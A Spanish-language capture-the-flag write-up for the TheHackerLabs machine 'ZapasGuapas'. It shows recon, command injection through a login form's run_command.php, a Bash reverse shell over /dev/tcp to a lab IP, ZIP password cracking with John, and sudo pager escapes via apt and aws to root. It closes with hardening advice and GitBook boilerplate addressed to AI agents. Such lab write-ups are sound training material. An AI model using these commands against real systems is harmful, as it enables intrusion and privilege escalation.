> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/thehackerlabs/facil/zapasguapas.md).

# ZapasGuapas

## Introduccion

En este laboratorio de TheHackerLabs se compromete una maquina Linux que expone SSH y HTTP.

La cadena de explotacion empieza en una tienda web de zapatillas. El formulario de login envia el valor de la contrasena a un endpoint llamado `run_command.php`, que termina ejecutando comandos en el sistema. Con esa RCE se obtiene una reverse shell como `www-data`, se recupera un ZIP protegido que contiene la password de `pronike` y se encadenan dos reglas `sudo` peligrosas: primero `apt` para saltar a `proadidas` y despues `aws` para conseguir una shell como `root`.

***

## Reconocimiento

La maquina muestra su direccion IP al arrancar:

![IP de la maquina](/files/T6hvLgUs2HVfqixQMIIJ)

Objetivo:

```
192.168.1.113
```

Se realiza un escaneo de puertos y versiones con Nmap:

```bash
nmap -sVCS -Pn -n -p- --min-rate 5000 192.168.1.113
```

![Nmap](/files/PXFnSlHpY55Mih314LX8)

El escaneo muestra dos servicios abiertos:

| Puerto | Servicio | Version              |
| ------ | -------- | -------------------- |
| 22/tcp | SSH      | OpenSSH 9.2p1 Debian |
| 80/tcp | HTTP     | Apache httpd 2.4.57  |

El puerto 80 muestra la web principal de **ZapasGuapas**:

![Web ZapasGuapas](/files/dR04c53WiWdja387rEPx)

***

## Enumeracion web

Se lanza Gobuster para mapear el sitio:

```bash
gobuster dir -u http://192.168.1.113 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh \
  -b 404 -t 60
```

![Gobuster](/files/RkyXji6Pnq35bu0inZgZ)

Entre los recursos encontrados destacan:

| Ruta                                                                        | Estado | Comentario             |
| --------------------------------------------------------------------------- | ------ | ---------------------- |
| `/index.html`                                                               | 200    | Pagina principal       |
| `/login.html`                                                               | 200    | Formulario vulnerable  |
| `/nike.php`                                                                 | 200    | Recurso PHP            |
| `/images/`                                                                  | 301    | Directorio de imagenes |
| `/css/`                                                                     | 301    | Directorio de estilos  |
| `/js/`                                                                      | 301    | Directorio JavaScript  |
| `/server-status`                                                            | 403    | Acceso denegado        |
| Al revisar la web aparece un formulario de login accesible en `login.html`: |        |                        |

![Login](/files/cO4q762X21IYunOti93F)

El codigo fuente del login deja una pista clara. El formulario no se envia de forma tradicional: JavaScript captura los campos y hace una peticion GET a `run_command.php`.

![Codigo fuente login.html](/files/9SVxoxJf9GZU7ksglegv)

La parte interesante es:

```javascript
xhr.open(
  "GET",
  "run_command.php?username=" + encodeURIComponent(username) + "&password=" + encodeURIComponent(password),
  true
);
```

Ademas, el propio comentario del codigo indica que el valor proporcionado como contrasena se usa para ejecutar un comando.

Se confirma la ejecucion remota introduciendo un comando basico:

![RCE con id](/files/qSt0KaaomUbWRgFvavpP)

La salida confirma ejecucion como `www-data`:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Con la RCE se lee `/etc/passwd` para identificar usuarios locales:

![Lectura de passwd](/files/EoNESj6RWRs7jbaRXU7k)

Usuarios interesantes:

| Usuario     | Home              | Shell       |
| ----------- | ----------------- | ----------- |
| `proadidas` | `/home/proadidas` | `/bin/bash` |
| `pronike`   | `/home/pronike`   | `/bin/bash` |

***

## Acceso inicial

Para obtener una shell mas comoda se prepara un listener:

```bash
nc -lvnp 4444
```

Despues se envia una reverse shell Bash desde el parametro vulnerable:

```bash
bash -c 'bash -i >& /dev/tcp/192.168.1.99/4444 0>&1'
```

![Reverse shell www-data](/files/v7vdYUFU8EPMxpjWFvuO)

Se recibe conexion como `www-data` dentro de `/var/www/tienda`.

***

## Credenciales de pronike

Al enumerar `ls -la /* 2>/dev/null` aparece un archivo ZIP legible:

```bash
ls -la /opt
```

![ZIP importante](/files/E7Rm3cAMhsCjd2GK5UtQ)

El archivo `importante.zip` esta protegido con password:

![Unzip protegido](/files/uC0S35bKiStDgda5lhJo)

Se extrae el hash con `zip2john` y se crackea con John usando `rockyou.txt`:

```bash
zip2john importante.zip > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

![Crackeo ZIP](/files/MmcUJ11SpzRcuNzonH4m)

John recupera la password del ZIP:

```
hotstuff
```

Con esa clave se descomprime el archivo y se lee `password.txt`:

![Password pronike](/files/cbnioTsN1UYVfDuNI6tI)

Credencial encontrada:

| Usuario   | Password    |
| --------- | ----------- |
| `pronike` | `pronike11` |

Con esas credenciales se accede por SSH:

```bash
ssh pronike@192.168.1.113
```

![SSH pronike](/files/Ok7Foy3URRtf4pbk1OR3)

***

## Movimiento lateral a proadidas

Desde `pronike` se revisan los permisos de `sudo`:

```bash
sudo -l
```

![sudo -l pronike](/files/JVM7vEFrd1WHNHdgwfpH)

El usuario puede ejecutar `apt` como `proadidas` sin password:

```
(proadidas) NOPASSWD: /usr/bin/apt
```

GTFOBins documenta que `apt changelog` abre un pager y permite ejecutar comandos desde el propio pager con `!/bin/sh`:

![GTFOBins apt](/files/dwhp6i2N1sRfMoBPasOj)

Se ejecuta `apt` como `proadidas`:

```bash
sudo -u proadidas apt changelog apt
```

Dentro del pager se lanza:

```
!/bin/sh
```

![Escape desde apt](/files/CGOBp8eGwdCTYkBJfWKt)

El comando `whoami` confirma el salto de usuario:

![Shell proadidas](/files/N1u6JbOiLUP12YdoRJZv)

```
proadidas
```

***

## Escalada de privilegios

Como `proadidas` se revisan de nuevo los permisos de `sudo`:

```bash
sudo -l
```

![sudo -l proadidas](/files/im2KkRYNVF9fa0cNdxTU)

El usuario puede ejecutar `aws` como `root` sin password:

```
(root) NOPASSWD: /usr/bin/aws
```

La ayuda de `aws` tambien se abre en un pager. Se ejecuta el binario con `sudo`:

```bash
sudo /usr/bin/aws help
```

Dentro del pager se usa de nuevo:

```
!/bin/sh
```

![Root con aws](/files/qt3Ylyt43d3kKqXteKq2)

El comando `whoami` confirma el compromiso:

```
root
```

La maquina queda comprometida como `root`.

***

## Conclusion

La cadena completa fue:

```
Enumeracion web
    -> Login vulnerable
        -> RCE en run_command.php
            -> Reverse shell como www-data
                -> ZIP legible en /home/proadidas
                    -> zip2john + John
                        -> SSH como pronike
                            -> sudo apt como proadidas
                                -> sudo aws como root
```

ZapasGuapas es una maquina muy buena para practicar lectura de codigo cliente, validacion de impacto en una RCE y abuso de binarios que abren pagers cuando estan permitidos mediante `sudo`.

### Puntos clave

* Nmap detecto SSH y Apache.
* El formulario `login.html` enviaba datos a `run_command.php`.
* El parametro de contrasena permitia ejecutar comandos.
* Se obtuvo una reverse shell como `www-data`.
* `importante.zip` era legible y contenia credenciales de `pronike`.
* `pronike` podia ejecutar `/usr/bin/apt` como `proadidas`.
* `proadidas` podia ejecutar `/usr/bin/aws` como `root`.
* Tanto `apt` como `aws` permitieron escapar desde el pager con `!/bin/sh`.

### Recomendaciones

* No ejecutar comandos del sistema con datos recibidos desde formularios web.
* Validar y sanear cualquier parametro que llegue desde el cliente.
* Evitar comentarios en codigo cliente que revelen logica sensible.
* No dejar archivos con credenciales en directorios legibles por otros usuarios.
* Revisar reglas `sudo` y evitar binarios que permitan abrir pagers, shells o comandos externos.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/thehackerlabs/facil/zapasguapas.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
